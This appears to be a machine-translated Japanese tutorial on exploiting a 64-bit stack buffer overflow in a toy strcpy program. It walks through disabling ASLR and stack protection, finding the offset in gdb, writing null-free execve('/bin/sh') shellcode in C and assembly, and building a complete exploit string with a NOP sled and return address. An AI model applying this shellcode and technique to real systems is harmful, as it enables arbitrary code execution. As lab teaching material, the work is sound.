まず、randomize_va_space を変更していることを確認してください。Ubuntu では、root として以下を実行します。
echo 0 > /proc/sys/kernel/randomize_va_space
次に、スタック破壊保護なしでテスト プログラムをコンパイルしていることを確認し、メモリ実行ビットを設定します。次のgccオプションでコンパイルして達成します
-fno-stack-protector -z execstack
また、シェルを実際に実行するには、より多くのスペースが必要であることがわかったので、バッファーをバッファーのようなものに変更します[64]
次に、アプリを gdb で実行し、戻るために必要なスタック アドレスを取得します。
まず、strcpy の直後にブレークポイントを設定します。
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy@plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf@plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
次に、アプリを実行し、ブレーク ポイントで rax レジスタ アドレスを取得します。
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
次に、最大バッファ サイズを決定します。64 のバッファーが 72 バイトでクラッシュすることはわかっているので、そこから先に進みます.. metasploits パターン メソッドのようなものを使用してこれを取得するか、アプリを実行して試行錯誤から正確なバイトを見つけることができます。 segfault が発生するまでにかかる回数をカウントするか、独自のパターンを作成して、metasploit パターン オプションの場合と同様にリップ アドレスを一致させます。
次に、必要なペイロードを取得するさまざまな方法がありますが、64 ビット アプリを実行しているため、64 ビット ペイロードを使用します。私は C をコンパイルし、gdb から ASM を取得し、mov 命令を null 値の xor に変更し、次に shl と shr をシェル コマンドから削除することで、\x00 文字を削除するためにいくつかの変更を加えました。これは後で示しますが、今のところペイロードは次のとおりです。
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
ここでのペイロードは 48 バイトなので、72 - 48 = 24 になります。
命令が中断されないように、ペイロードに \x90 (nop) を埋め込むことができます。ペイロードの最後に 2 を追加し、先頭に 22 を追加します。また、次のように、逆に最後に返信アドレスを追加します..
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
gdb の外で実行したい場合は、リターンアドレスをごまかす必要があるかもしれません。私の場合、アドレスは gdb の外で \x70\xe0\xff\xff\xff\x7f になります。40、50、60、70と、うまくいくまで増やしました..
アプリのソースをテストする
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
これはCのペイロードです
#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
ビルドして実行する ASM のペイロード
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
\x00 を使用できないため、値を xor に変更し、派手なシフトを行って、/bin/sh を設定するための mov の不適切な値を削除できます。
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}
そのペイロードをコンパイルし、gdb で実行すると、次のような必要なバイト値を取得できます。
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
または、次のようなことですべてを取得します
(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05